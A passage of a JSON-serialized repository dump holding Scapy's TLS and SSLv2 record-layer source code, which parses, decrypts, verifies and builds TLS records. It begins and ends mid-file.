struct.unpack(\"BB\", _pkt[:2])\n                s = kargs.get(\"tls_session\", None)\n                if byte0 not in _tls_type or byte1 != 3:  # Unknown type\n                    # Check SSLv2: either the session is already SSLv2,\n                    # either the packet looks like one. As said above, this\n                    # isn't 100% reliable, but Wireshark does the same\n                    if s and (s.tls_version == 0x0002 or\n                              s.advertised_tls_version == 0x0002) or \\\n                             (_ssl_looks_like_sslv2(_pkt) and (not s or\n                              s.tls_version is None)):\n                        from scapy.layers.tls.record_sslv2 import SSLv2\n                        return SSLv2\n                    # Not SSLv2: continuation\n                    return _TLSEncryptedContent\n                if plen >= 5:\n                    # Check minimum length\n                    msglen = struct.unpack('!H', _pkt[3:5])[0] + 5\n                    if plen < msglen:\n                        # This is a fragment\n                        return conf.padding_layer\n                # Check TLS 1.3\n                if s and s.tls_version == 0x0304:\n                    _has_cipher = lambda x: (\n                        x and not isinstance(x.cipher, Cipher_NULL)\n                    )\n                    if (_has_cipher(s.rcs) or _has_cipher(s.prcs)) and \\\n                            byte0 == 0x17:\n                        from scapy.layers.tls.record_tls13 import TLS13\n                        return TLS13\n            if plen < 5:\n                # Layer detected as TLS but too small to be a\n                # parsed. Scapy should not try to decode them\n                return _TLSEncryptedContent\n        return TLS\n\n    # Parsing methods\n\n    def _tls_auth_decrypt(self, hdr, s):\n        \"\"\"\n        Provided with the record header and AEAD-ciphered data, return the\n        sliced and clear tuple (nonce, TLSCompressed.fragment, mac). Note that\n        we still return the slicing of the original input in case of decryption\n        failure. Also, if the integrity check fails, a warning will be issued,\n        but we still return the sliced (unauthenticated) plaintext.\n        \"\"\"\n        try:\n            read_seq_num = struct.pack(\"!Q\", self.tls_session.rcs.seq_num)\n            self.tls_session.rcs.seq_num += 1\n            # self.type and self.version have not been parsed yet,\n            # this is why we need to look into the provided hdr.\n            add_data = read_seq_num + hdr[:3]\n            # Last two bytes of add_data are appended by the return function\n            return self.tls_session.rcs.cipher.auth_decrypt(add_data, s,\n                                                            read_seq_num)\n        except CipherError as e:\n            return e.args\n        except AEADTagError as e:\n            pkt_info = self.firstlayer().summary()\n            log_runtime.info(\"TLS: record integrity check failed [%s]\", pkt_info)  # noqa: E501\n            return e.args\n\n    def _tls_decrypt(self, s):\n        \"\"\"\n        Provided with stream- or block-ciphered data, return the clear version.\n        The cipher should have been updated with the right IV early on,\n        which should not be at the beginning of the input.\n        In case of decryption failure, a CipherError will be raised with\n        the slicing of the original input as first argument.\n        \"\"\"\n        return self.tls_session.rcs.cipher.decrypt(s)\n\n    def _tls_hmac_verify(self, hdr, msg, mac):\n        \"\"\"\n        Provided with the record header, the TLSCompressed.fragment and the\n        HMAC, return True if the HMAC is correct. If we could not compute the\n        HMAC because the key was missing, there is no sense in verifying\n        anything, thus we also return True.\n\n        Meant to be used with a block cipher or a stream cipher.\n        It would fail with an AEAD cipher, because rcs.hmac would be None.\n        See RFC 5246, section 6.2.3.\n        \"\"\"\n        read_seq_num = struct.pack(\"!Q\", self.tls_session.rcs.seq_num)\n        self.tls_session.rcs.seq_num += 1\n\n        mac_len = self.tls_session.rcs.mac_len\n        if mac_len == 0:            # should be TLS_NULL_WITH_NULL_NULL\n            return True\n        if len(mac) != mac_len:\n            return False\n\n        alg = self.tls_session.rcs.hmac\n        version = struct.unpack(\"!H\", hdr[1:3])[0]\n        try:\n            if version > 0x300:\n                h = alg.digest(read_seq_num + hdr + msg)\n            elif version == 0x300:\n                h = alg.digest_sslv3(read_seq_num + hdr[:1] + hdr[3:5] + msg)\n            else:\n                raise Exception(\"Unrecognized version.\")\n        except HMACError:\n            h = mac\n        return h == mac\n\n    def _tls_decompress(self, s):\n        \"\"\"\n        Provided with the TLSCompressed.fragment,\n        return the TLSPlaintext.fragment.\n        \"\"\"\n        alg = self.tls_session.rcs.compression\n        return alg.decompress(s)\n\n    def pre_dissect(self, s):\n        \"\"\"\n        Decrypt, verify and decompress the message,\n        i.e. apply the previous methods according to the reading cipher type.\n        If the decryption was successful, 'len' will be the length of the\n        TLSPlaintext.fragment. Else, it should be the length of the\n        _TLSEncryptedContent.\n        \"\"\"\n        if len(s) < 5:\n            raise Exception(\"Invalid record: header is too short.\")\n\n        msglen = struct.unpack('!H', s[3:5])[0]\n        hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:]\n\n        iv = mac = pad = b\"\"\n        self.padlen = None\n        decryption_success = False\n\n        cipher_type = self.tls_session.rcs.cipher.type\n\n        def extract_mac(data):\n            \"\"\"Extract MAC.\"\"\"\n            tmp_len = self.tls_session.rcs.mac_len\n            if tmp_len != 0:\n                frag, mac = data[:-tmp_len], data[-tmp_len:]\n            else:\n                frag, mac = data, b\"\"\n            return frag, mac\n\n        def verify_mac(hdr, cfrag, mac):\n            \"\"\"Verify integrity.\"\"\"\n            chdr = hdr[:3] + struct.pack('!H', len(cfrag))\n            is_mac_ok = self._tls_hmac_verify(chdr, cfrag, mac)\n            if not is_mac_ok:\n                pkt_info = self.firstlayer().summary()\n                log_runtime.info(\n                    \"TLS: record integrity check failed [%s]\", pkt_info,\n                )\n\n        if cipher_type == 'block':\n            version = struct.unpack(\"!H\", s[1:3])[0]\n\n            if self.tls_session.encrypt_then_mac:\n                efrag, mac = extract_mac(efrag)\n                verify_mac(hdr, efrag, mac)\n\n            # Decrypt\n            try:\n                if version >= 0x0302:\n                    # Explicit IV for TLS 1.1 and 1.2\n                    block_size = self.tls_session.rcs.cipher.block_size\n                    iv, efrag = efrag[:block_size], efrag[block_size:]\n                    self.tls_session.rcs.cipher.iv = iv\n                    pfrag = self._tls_decrypt(efrag)\n                else:\n                    # Implicit IV for SSLv3 and TLS 1.0\n                    pfrag = self._tls_decrypt(efrag)\n            except CipherError as e:\n                # This will end up dissected as _TLSEncryptedContent.\n                cfrag = e.args[0]\n            else:\n                decryption_success = True\n                # Excerpt below better corresponds to TLS 1.1 IV definition,\n                # but the result is the same as with TLS 1.2 anyway.\n                # This leading *IV* has been decrypted by _tls_decrypt with a\n                # random IV, hence it does not correspond to anything.\n                # What actually matters is that we got the first encrypted block  # noqa: E501\n                # in order to decrypt the second block (first data block).\n                # if version >= 0x0302:\n                #    block_size = self.tls_session.rcs.cipher.block_size\n                #    iv, pfrag = pfrag[:block_size], pfrag[block_size:]\n                #    l = struct.unpack('!H', hdr[3:5])[0]\n                #    hdr = hdr[:3] + struct.pack('!H', l-block_size)\n\n                # Extract padding ('pad' actually includes the trailing padlen)\n                padlen = orb(pfrag[-1]) + 1\n                mfrag, pad = pfrag[:-padlen], pfrag[-padlen:]\n                self.padlen = padlen\n\n                if self.tls_session.encrypt_then_mac:\n                    cfrag = mfrag\n                else:\n                    cfrag, mac = extract_mac(mfrag)\n                    verify_mac(hdr, cfrag, mac)\n\n        elif cipher_type == 'stream':\n            # Decrypt\n            try:\n                pfrag = self._tls_decrypt(efrag)\n            except CipherError as e:\n                # This will end up dissected as _TLSEncryptedContent.\n                cfrag = e.args[0]\n            else:\n                decryption_success = True\n                cfrag, mac = extract_mac(pfrag)\n                verify_mac(hdr, cfrag, mac)\n\n        elif cipher_type == 'aead':\n            # Authenticated encryption\n            # crypto/cipher_aead.py prints a warning for integrity failure\n            if (conf.crypto_valid_advanced and\n                    isinstance(self.tls_session.rcs.cipher, Cipher_CHACHA20_POLY1305)):  # noqa: E501\n                iv = b\"\"\n                cfrag, mac = self._tls_auth_decrypt(hdr, efrag)\n            else:\n                iv, cfrag, mac = self._tls_auth_decrypt(hdr, efrag)\n            decryption_success = True       # see XXX above\n\n        frag = self._tls_decompress(cfrag)\n\n        if decryption_success:\n            self.deciphered_len = len(frag)\n        else:\n            self.deciphered_len = None\n\n        reconstructed_body = iv + frag + mac + pad\n\n        return hdr + reconstructed_body + r\n\n    def post_dissect(self, s):\n        \"\"\"\n        Commit the pending r/w state if it has been triggered (e.g. by an\n        underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We update\n        nothing if the prcs was not set, as this probably means that we're\n        working out-of-context (and we need to keep the default rcs).\n        \"\"\"\n        if (self.tls_session.tls_version and\n                self.tls_session.tls_version <= 0x0303):\n            if self.tls_session.triggered_prcs_commit:\n                if self.tls_session.prcs is not None:\n                    self.tls_session.rcs = self.tls_session.prcs\n                    self.tls_session.prcs = None\n                self.tls_session.triggered_prcs_commit = False\n            if self.tls_session.triggered_pwcs_commit:\n                if self.tls_session.pwcs is not None:\n                    self.tls_session.wcs = self.tls_session.pwcs\n                    self.tls_session.pwcs = None\n                self.tls_session.triggered_pwcs_commit = False\n        return s\n\n    def do_dissect_payload(self, s):\n        \"\"\"\n        Try to dissect the following data as a TLS message.\n        Note that overloading .guess_payload_class() would not be enough,\n        as the TLS session to be used would get lost.\n        \"\"\"\n        if s:\n            # Check minimum length\n            if len(s) < 5:\n                p = conf.raw_layer(s, _internal=1, _underlayer=self)\n                self.add_payload(p)\n                return\n            msglen = struct.unpack('!H', s[3:5])[0] + 5\n            if len(s) < msglen:\n                # This is a fragment\n                self.add_payload(conf.padding_layer(s))\n                return\n            try:\n                p = TLS(s, _internal=1, _underlayer=self,\n                        tls_session=self.tls_session)\n            except KeyboardInterrupt:\n                raise\n            except Exception:\n                if conf.debug_dissector:\n                    raise\n                p = conf.raw_layer(s, _internal=1, _underlayer=self)\n            self.add_payload(p)\n\n    # Building methods\n\n    def _tls_compress(self, s):\n        \"\"\"\n        Provided with the TLSPlaintext.fragment,\n        return the TLSCompressed.fragment.\n        \"\"\"\n        alg = self.tls_session.wcs.compression\n        return alg.compress(s)\n\n    def _tls_auth_encrypt(self, s):\n        \"\"\"\n        Return the TLSCiphertext.fragment for AEAD ciphers, i.e. the whole\n        GenericAEADCipher. Also, the additional data is computed right here.\n        \"\"\"\n        write_seq_num = struct.pack(\"!Q\", self.tls_session.wcs.seq_num)\n        self.tls_session.wcs.seq_num += 1\n        add_data = (write_seq_num +\n                    pkcs_i2osp(self.type, 1) +\n                    pkcs_i2osp(self.version, 2) +\n                    pkcs_i2osp(len(s), 2))\n        return self.tls_session.wcs.cipher.auth_encrypt(s, add_data,\n                                                        write_seq_num)\n\n    def _tls_hmac_add(self, hdr, msg):\n        \"\"\"\n        Provided with the record header (concatenation of the TLSCompressed\n        type, version and length fields) and the TLSCompressed.fragment,\n        return the concatenation of the TLSCompressed.fragment and the HMAC.\n\n        Meant to be used with a block cipher or a stream cipher.\n        It would fail with an AEAD cipher, because wcs.hmac would be None.\n        See RFC 5246, section 6.2.3.\n        \"\"\"\n        write_seq_num = struct.pack(\"!Q\", self.tls_session.wcs.seq_num)\n        self.tls_session.wcs.seq_num += 1\n\n        alg = self.tls_session.wcs.hmac\n        version = struct.unpack(\"!H\", hdr[1:3])[0]\n        if version > 0x300:\n            h = alg.digest(write_seq_num + hdr + msg)\n        elif version == 0x300:\n            h = alg.digest_sslv3(write_seq_num + hdr[:1] + hdr[3:5] + msg)\n        else:\n            raise Exception(\"Unrecognized version.\")\n        return msg + h\n\n    def _tls_pad(self, s):\n        \"\"\"\n        Provided with the concatenation of the TLSCompressed.fragment and the\n        HMAC, append the right padding and return it as a whole.\n        This is the TLS-style padding: while SSL allowed for random padding,\n        TLS (misguidedly) specifies the repetition of the same byte all over,\n        and this byte must be equal to len(<entire padding>) - 1.\n\n        Meant to be used with a block cipher only.\n        \"\"\"\n        padding = b\"\"\n        block_size = self.tls_session.wcs.cipher.block_size\n        padlen = block_size - ((len(s) + 1) % block_size)\n        if padlen == block_size:\n            padlen = 0\n        pad_pattern = chb(padlen)\n        padding = pad_pattern * (padlen + 1)\n        return s + padding\n\n    def _tls_encrypt(self, s):\n        \"\"\"\n        Return the stream- or block-ciphered version of the concatenated input.\n        In case of GenericBlockCipher, no IV has been specifically prepended to\n        the output, so this might not be the whole TLSCiphertext.fragment yet.\n        \"\"\"\n        return self.tls_session.wcs.cipher.encrypt(s)\n\n    def post_build(self, pkt, pay):\n        \"\"\"\n        Apply the previous methods according to the writing cipher type.\n        \"\"\"\n        # Compute the length of TLSPlaintext fragment\n        hdr, frag = pkt[:5], pkt[5:]\n        tmp_len = len(frag)\n        hdr = hdr[:3] + struct.pack(\"!H\", tmp_len)\n\n        # Compression\n        cfrag = self._tls_compress(frag)\n        tmp_len = len(cfrag)  # Update the length as a result of compression\n        hdr = hdr[:3] + struct.pack(\"!H\", tmp_len)\n\n        cipher_type = self.tls_session.wcs.cipher.type\n\n        if cipher_type == 'block':\n            # Integrity\n            if not self.tls_session.encrypt_then_mac:\n                cfrag = self._tls_hmac_add(hdr, cfrag)\n\n            # Excerpt below better corresponds to TLS 1.1 IV definition,\n            # but the result is the same as with TLS 1.2 anyway.\n            # if self.version >= 0x0302:\n            #    l = self.tls_session.wcs.cipher.block_size\n            #    iv = randstring(l)\n            #    mfrag = iv + mfrag\n\n            # Add padding\n            pfrag = self._tls_pad(cfrag)\n\n            # Encryption\n            if self.version >= 0x0302:\n                # Explicit IV for TLS 1.1 and 1.2\n                tmp_len = self.tls_session.wcs.cipher.block_size\n                iv = randstring(tmp_len)\n                self.tls_session.wcs.cipher.iv = iv\n                efrag = self._tls_encrypt(pfrag)\n                efrag = iv + efrag\n            else:\n                # Implicit IV for SSLv3 and TLS 1.0\n                efrag = self._tls_encrypt(pfrag)\n\n            if self.tls_session.encrypt_then_mac:\n                efrag = self._tls_hmac_add(hdr, efrag)\n\n        elif cipher_type == \"stream\":\n            # Integrity\n            mfrag = self._tls_hmac_add(hdr, cfrag)\n            # Encryption\n            efrag = self._tls_encrypt(mfrag)\n\n        elif cipher_type == \"aead\":\n            # Authenticated encryption (with nonce_explicit as header)\n            efrag = self._tls_auth_encrypt(cfrag)\n\n        if self.len is not None:\n            # The user gave us a 'len', let's respect this ultimately\n            hdr = hdr[:3] + struct.pack(\"!H\", self.len)\n        else:\n            # Update header with the length of TLSCiphertext.fragment\n            hdr = hdr[:3] + struct.pack(\"!H\", len(efrag))\n\n        # Now we commit the pending write state if it has been triggered (e.g.\n        # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We\n        # update nothing if the pwcs was not set. This probably means that\n        # we're working out-of-context (and we need to keep the default wcs).\n        if self.tls_session.triggered_pwcs_commit:\n            if self.tls_session.pwcs is not None:\n                self.tls_session.wcs = self.tls_session.pwcs\n                self.tls_session.pwcs = None\n            self.tls_session.triggered_pwcs_commit = False\n\n        return hdr + efrag + pay\n\n    def mysummary(self):\n        s, n = super(TLS, self).mysummary()\n        if self.msg:\n            s += \" / \"\n            s += \" / \".join(getattr(x, \"_name\", x.name) for x in self.msg)\n        return s, n\n\n###############################################################################\n#   TLS ChangeCipherSpec                                                      #\n###############################################################################\n\n\n_tls_changecipherspec_type = {1: \"change_cipher_spec\"}\n\n\nclass TLSChangeCipherSpec(_GenericTLSSessionInheritance):\n    \"\"\"\n    Note that, as they are not handshake messages, the ccs messages do not get\n    appended to the list of messages whose integrity gets verified through the\n    Finished messages.\n    \"\"\"\n    name = \"TLS ChangeCipherSpec\"\n    fields_desc = [ByteEnumField(\"msgtype\", 1, _tls_changecipherspec_type)]\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session.triggered_prcs_commit = True\n\n    def post_build_tls_session_update(self, msg_str):\n        # Unlike for dissection case, we cannot commit pending write\n        # state as current write state. We need to delay this after\n        # the ChangeCipherSpec message has indeed been sent\n        self.tls_session.triggered_pwcs_commit = True\n\n\n###############################################################################\n#   TLS Alert                                                                 #\n###############################################################################\n\n_tls_alert_level = {1: \"warning\", 2: \"fatal\"}\n\n_tls_alert_description = {\n    0: \"close_notify\", 10: \"unexpected_message\",\n    20: \"bad_record_mac\", 21: \"decryption_failed\",\n    22: \"record_overflow\", 30: \"decompression_failure\",\n    40: \"handshake_failure\", 41: \"no_certificate_RESERVED\",\n    42: \"bad_certificate\", 43: \"unsupported_certificate\",\n    44: \"certificate_revoked\", 45: \"certificate_expired\",\n    46: \"certificate_unknown\", 47: \"illegal_parameter\",\n    48: \"unknown_ca\", 49: \"access_denied\",\n    50: \"decode_error\", 51: \"decrypt_error\",\n    60: \"export_restriction_RESERVED\", 70: \"protocol_version\",\n    71: \"insufficient_security\", 80: \"internal_error\",\n    86: \"inappropriate_fallback\", 90: \"user_canceled\",\n    100: \"no_renegotiation\", 109: \"missing_extension\",\n    110: \"unsupported_extension\", 111: \"certificate_unobtainable\",\n    112: \"unrecognized_name\", 113: \"bad_certificate_status_response\",\n    114: \"bad_certificate_hash_value\", 115: \"unknown_psk_identity\",\n    116: \"certificate_required\", 120: \"no_application_protocol\"}\n\n\nclass TLSAlert(_GenericTLSSessionInheritance):\n    name = \"TLS Alert\"\n    fields_desc = [ByteEnumField(\"level\", None, _tls_alert_level),\n                   ByteEnumField(\"descr\", None, _tls_alert_description)]\n\n    def mysummary(self):\n        return self.sprintf(\"Alert %level%: %descr%\")\n\n    def post_dissection_tls_session_update(self, msg_str):\n        pass\n\n    def post_build_tls_session_update(self, msg_str):\n        pass\n\n\n###############################################################################\n#   TLS Application Data                                                      #\n###############################################################################\n\nclass TLSApplicationData(_GenericTLSSessionInheritance):\n    name = \"TLS Application Data\"\n    fields_desc = [StrField(\"data\", \"\")]\n\n    def post_dissection_tls_session_update(self, msg_str):\n        pass\n\n    def post_build_tls_session_update(self, msg_str):\n        pass\n\n\n###############################################################################\n#   Bindings                                                                  #\n###############################################################################\n\nbind_layers(TCP, TLS, sport=443)\nbind_layers(TCP, TLS, dport=443)\n"
  },
  {
    "path": "scapy/layers/tls/record_sslv2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Maxence Tury\n\n\"\"\"\nSSLv2 Record.\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.error import log_runtime\nfrom scapy.compat import orb, raw\nfrom scapy.packet import Raw\nfrom scapy.layers.tls.session import _GenericTLSSessionInheritance\nfrom scapy.layers.tls.record import _TLSMsgListField, TLS\nfrom scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_cls\nfrom scapy.layers.tls.basefields import (_SSLv2LengthField, _SSLv2PadField,\n                                         _SSLv2PadLenField, _TLSMACField)\n\n\n###############################################################################\n#   SSLv2 Record Protocol                                                     #\n###############################################################################\n\nclass _SSLv2MsgListField(_TLSMsgListField):\n    def __init__(self, name, default, length_from=None):\n        if not length_from:\n            length_from = lambda pkt: ((pkt.len & 0x7fff) -\n                                       (pkt.padlen or 0) -\n                                       len(pkt.mac))\n        super(_SSLv2MsgListField, self).__init__(name, default,\n                                                 length_from=length_from)\n\n    def m2i(self, pkt, m):\n        cls = Raw\n        if len(m) >= 1:\n            msgtype = orb(m[0])\n            cls = _sslv2_handshake_cls.get(msgtype, Raw)\n\n        if cls is Raw:\n            return Raw(m)\n        else:\n            return cls(m, tls_session=pkt.tls_session)\n\n    def i2m(self, pkt, p):\n        cur = b\"\"\n        if isinstance(p, _GenericTLSSessionInheritance):\n            p.tls_session = pkt.tls_session\n            if not pkt.tls_session.frozen:\n                cur = p.raw_stateful()\n                p.post_build_tls_session_update(cur)\n            else:\n                cur = raw(p)\n        else:\n            cur = raw(p)\n        return cur\n\n    def addfield(self, pkt, s, val):\n        res = b\"\"\n        for p in val:\n            res += self.i2m(pkt, p)\n        return s + res\n\n\nclass SSLv2(TLS):\n    \"\"\"\n    The encrypted_data is the encrypted version of mac+msg+pad.\n    \"\"\"\n    __slots__ = [\"with_padding\", \"protected_record\"]\n    name = \"SSLv2\"\n    fields_desc = [_SSLv2LengthField(\"len\", None),\n                   _SSLv2PadLenField(\"padlen\", None),\n                   _TLSMACField(\"mac\", b\"\"),\n                   _SSLv2MsgListField(\"msg\", []),\n                   _SSLv2PadField(\"pad\", \"\")]\n\n    def __init__(self, *args, **kargs):\n        self.with_padding = kargs.get(\"with_padding\", False)\n        self.protected_record = kargs.get(\"protected_record\", None)\n        super(SSLv2, self).__init__(*args, **kargs)\n\n    # Parsing methods\n\n    def _sslv2_mac_verify(self, msg, mac):\n        secret = self.tls_session.rcs.cipher.key\n        if secret is None:\n            return True\n\n        mac_len = self.tls_session.rcs.mac_len\n        if mac_len == 0:            # should be TLS_NULL_WITH_NULL_NULL\n            return True\n        if len(mac) != mac_len:\n            return False\n\n        read_seq_num = struct.pack(\"!I\", self.tls_session.rcs.seq_num)\n        alg = self.tls_session.rcs.hash\n        h = alg.digest(secret + msg + read_seq_num)\n        return h == mac\n\n    def pre_dissect(self, s):\n        if len(s) < 2:\n            raise Exception(\"Invalid record: header is too short.\")\n\n        msglen = struct.unpack(\"!H\", s[:2])[0]\n        if msglen & 0x8000:\n            hdrlen = 2\n            msglen_clean = msglen & 0x7fff\n        else:\n            hdrlen = 3\n            msglen_clean = msglen & 0x3fff\n\n        hdr = s[:hdrlen]\n        efrag = s[hdrlen:hdrlen + msglen_clean]\n        self.protected_record = s[:hdrlen + msglen_clean]\n        r = s[hdrlen + msglen_clean:]\n\n        mac = pad = b\"\"\n\n        # Decrypt (with implicit IV if block cipher)\n        mfrag = self._tls_decrypt(efrag)\n\n        # Extract MAC\n        maclen = self.tls_session.rcs.mac_len\n        if maclen == 0:\n            mac, pfrag = b\"\", mfrag\n        else:\n            mac, pfrag = mfrag[:maclen], mfrag[maclen:]\n\n        # Extract padding\n        padlen = 0\n        if hdrlen == 3:\n            padlen = orb(s[2])\n        if padlen == 0:\n            cfrag, pad = pfrag, b\"\"\n        else:\n            cfrag, pad = pfrag[:-padlen], pfrag[-padlen:]\n\n        # Verify integrity\n        is_mac_ok = self._sslv2_mac_verify(cfrag + pad, mac)\n        if not is_mac_ok:\n            pkt_info = self.firstlayer().summary()\n            log_runtime.info(\"SSLv2: record integrity check failed [%s]\", pkt_info)  # noqa: E501\n\n        reconstructed_body = mac + cfrag + pad\n        return hdr + reconstructed_body + r\n\n    def post_dissect(self, s):\n        \"\"\"\n        SSLv2 may force us to commit the write connState here.\n        \"\"\"\n        if self.tls_session.triggered_prcs_commit:\n            if self.tls_session.prcs is not None:\n                self.tls_session.rcs = self.tls_session.prcs\n                self.tls_session.prcs = None\n            self.tls_session.triggered_prcs_commit = False\n        if self.tls_session.triggered_pwcs_commit:\n            if self.tls_session.pwcs is not None:\n                self.tls_session.wcs = self.tls_session.pwcs\n                self.tls_session.pwcs = None\n            self.tls_session.triggered_pwcs_commit = False\n\n        if self.tls_session.prcs is not None:\n            self.tls_session.prcs.seq_num += 1\n        self.tls_session.rcs.seq_num += 1\n        return s\n\n    def do_dissect_payload(self, s):\n        if s:\n            try:\n                p = SSLv2(s, _internal=1, _underlayer=self,\n                          tls_session=self.tls_session)\n            except KeyboardInterrupt:\n                raise\n            except Exception:\n                if conf.debug_dissector:\n                    raise\n                p = conf.raw_layer(s, _internal=1, _underlayer=self)\n            self.add_payload(p)\n\n    # Building methods\n\n    def _sslv2_mac_add(self, msg):\n        secret = self.tls_session.wcs.cipher.key\n        if secret is None:\n            return msg\n\n        write_seq_num = struct.pack(\"!I\", self.tls_session.wcs.seq_num)\n        alg = self.tls_session.wcs.hash\n        h = alg.digest(secret + msg + write_seq_num)\n        return h + msg\n\n    def _sslv2_pad(self, s):\n        padding = b\"\"\n        block_size = self.tls_session.wcs.cipher.block_size\n        padlen = block_size - (len(s) % block_size)\n        if padlen == block_size:\n            padlen = 0\n        padding = b\"\\x00\" * padlen\n        return s + padding\n\n    def post_build(self, pkt, pay):\n        if self.protected_record is not None:\n            # we do not update the tls_session\n            return self.protected_record + pay\n\n        if self.padlen is None:\n            cfrag = pkt[2:]\n        else:\n            cfrag = pkt[3:]\n\n        if self.pad == b\"\" and self.tls_session.wcs.cipher.type == 'block':\n            pfrag = self._sslv2_pad(cfrag)\n        else:\n            pad = self.pad or b\"\"\n            pfrag = cfrag + pad\n\n        padlen = self.padlen\n        if padlen is None:\n            padlen = len(pfrag) - len(cfrag)\n        hdr = pkt[:2]\n        if padlen > 0:\n            hdr += struct.pack(\"B\", padlen)\n\n        # Integrity\n        if self.mac == b\"\":\n            mfrag = self._sslv2_mac_add(pfrag)\n        else:\n            mfrag = self.mac + pfrag\n\n        # Encryption\n        efrag = self._tls_encrypt(mfrag)\n\n        if self.len is not None:\n            tmp_len = self.len\n            if not self.with_padding:\n                tmp_len |= 0x8000\n            hdr = struct.pack(\"!H\", tmp_len) + hdr[2:]\n        else:\n            # Update header with the length of TLSCiphertext.fragment\n            msglen_new = len(efrag)\n            if padlen:\n                if msglen_new > 0x3fff:\n                    raise Exception(\"Invalid record: encrypted data too long.\")\n            else:\n                if msglen_new > 0x7fff:\n                    raise Exception(\"Invalid record: encrypted data too long.\")\n                msglen_new |= 0x8000\n            hdr = struct.pack(\"!H\", msglen_new) + hdr[2:]\n\n        # Now we commit the pending write state if it has been triggered (e.g.\n        # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We\n        # update nothing if the pwcs was not set. This probably means that\n        # we're working out-of-context (and we need to keep the default wcs).\n        # SSLv2 may force us to commit the reading connState here.\n        if self.tls_session.triggered_pwcs_commit:\n            if self.tls_session.pwcs is not None:\n                self.tls_session.wcs = self.tls_session.pwcs\n                self.tls_session.pwcs = None\n            self.tls_session.triggered_pwcs_commit = False\n        if self.tls_session.triggered_prcs_commit:\n            if self.tls_session.prcs is not None:\n                self.tls_session.rcs = self.tls_session.prcs\n                self.tls_session.prcs = None\n            self.tls_session.triggered_prcs_commit = False\n\n        if self.tls_session.pwcs is not None:\n            self.tls_session.pwcs.seq_num += 1\n        self.tls_session.wcs.seq_num += 1\n\n        return hdr + efrag + pay\n"
  },
  {
    "path": "scapy/layers/tls/record_tls13.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Maxence Tury\n#               2019 Romain Perez\n\n\"\"\"\nCommon TLS 1.3 fields & bindings.\n\nThis module covers the record layer, along with the ChangeCipherSpec, Alert and\nApplicationData submessages. For the Handshake type, see tls_handshake.py.\n\nSee the TLS class documentation for more information.\n\"\"\"\n\nimport struct\n\nfrom scapy.error import log_runtime, warning\nfrom scapy.compat import raw, orb\nfrom scapy.fields import ByteEnumField, PacketField, XStrField\nfrom scapy.layers.tls.session import _GenericTLSSessionInheritance\nfrom scapy.layers.tls.basefields import _TLSVersionField, _tls_version, \\\n    _TLSMACField, _TLSLengthField, _tls_type\nfrom scapy.layers.tls.record import _TLSMsgListField, TLS\nfrom scapy.layers.tls.crypto.cipher_aead import AEADTagError\nfrom scapy.layers.tls.crypto.cipher_stream import Cipher_NULL\nfrom scapy.layers.tls.crypto.common import CipherError\nfrom scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp\n\n\n###############################################################################\n#   TLS Record Protocol                                                       #\n###############################################################################\n\n\nclass TLSInnerPlaintext(_GenericTLSSessionInheritance):\n    name = \"TLS Inner Plaintext\"\n    fields_desc = [_TLSMsgListField(\"msg\", []),\n                   ByteEnumField(\"type\", None, _tls_type),\n                   XStrField(\"pad\", \"\")]\n\n    def pre_dissect(self, s):\n        \"\"\"\n        We need to parse the padding and type as soon as possible,\n        else we won't be able to parse the message list...\n        \"\"\"\n        if len(s) < 1:\n            raise Exception(\"Invalid InnerPlaintext (too short).\")\n\n        tmp_len = len(s) - 1\n        if s[-1] != b\"\\x00\":\n            msg_len = tmp_len\n        else:\n            n = 1\n            while s[-n] != b\"\\x00\" and n < tmp_len:\n                n += 1\n            msg_len = tmp_len - n\n        self.fields_desc[0].length_from = lambda pkt: msg_len\n\n        self.type = struct.unpack(\"B\", s[msg_len:msg_len + 1])[0]\n\n        return s\n\n\nclass _TLSInnerPlaintextField(PacketField):\n    def __init__(self, name, default, *args, **kargs):\n        super(_TLSInnerPlaintextField, self).__init__(name,\n                                                      default,\n                                                      TLSInnerPlaintext)\n\n    def m2i(self, pkt, m):\n        return self.cls(m, tls_session=pkt.tls_session)\n\n    def getfield(self, pkt, s):\n        tag_len = pkt.tls_session.rcs.mac_len\n        frag_len = pkt.len - tag_len\n        if frag_len < 1:\n            warning(\"InnerPlaintext should at least contain a byte type!\")\n            return s, None\n        remain, i = super(_TLSInnerPlaintextField, self).getfield(pkt, s[:frag_len])  # noqa: E501\n        # remain should be empty here\n        return remain + s[frag_len:], i\n\n    def i2m(self, pkt, p):\n        if isinstance(p, _GenericTLSSessionInheritance):\n            p.tls_session = pkt.tls_session\n            if not pkt.tls_session.frozen:\n                return p.raw_stateful()\n        return raw(p)\n\n\nclass TLS13(_GenericTLSSessionInheritance):\n    __slots__ = [\"deciphered_len\"]\n    name = \"TLS 1.3\"\n    fields_desc = [ByteEnumField(\"type\", 0x17, _tls_type),\n                   _TLSVersionField(\"version\", 0x0303, _tls_version),\n                   _TLSLengthField(\"len\", None),\n                   _TLSInnerPlaintextField(\"inner\", TLSInnerPlaintext()),\n                   _TLSMACField(\"auth_tag\", None)]\n\n    def __init__(self, *args, **kargs):\n        self.deciphered_len = kargs.get(\"deciphered_len\", None)\n        super(TLS13, self).__init__(*args, **kargs)\n\n    # Parsing methods\n\n    def _tls_auth_decrypt(self, s):\n        \"\"\"\n        Provided with the record header and AEAD-ciphered data, return the\n        sliced and clear tuple (TLSInnerPlaintext, tag). Note that\n        we still return the slicing of the original input in case of decryption\n        failure. Also, if the integrity check fails, a warning will be issued,\n        but we still return the sliced (unauthenticated) plaintext.\n        \"\"\"\n        rcs = self.tls_session.rcs\n        read_seq_num = struct.pack(\"!Q\", rcs.seq_num)\n        rcs.seq_num += 1\n        add_data = (pkcs_i2osp(self.type, 1) +\n                    pkcs_i2osp(self.version, 2) +\n                    pkcs_i2osp(len(s), 2))\n        try:\n            return rcs.cipher.auth_decrypt(add_data, s, read_seq_num)\n        except CipherError as e:\n            return e.args\n        except AEADTagError as e:\n            pkt_info = 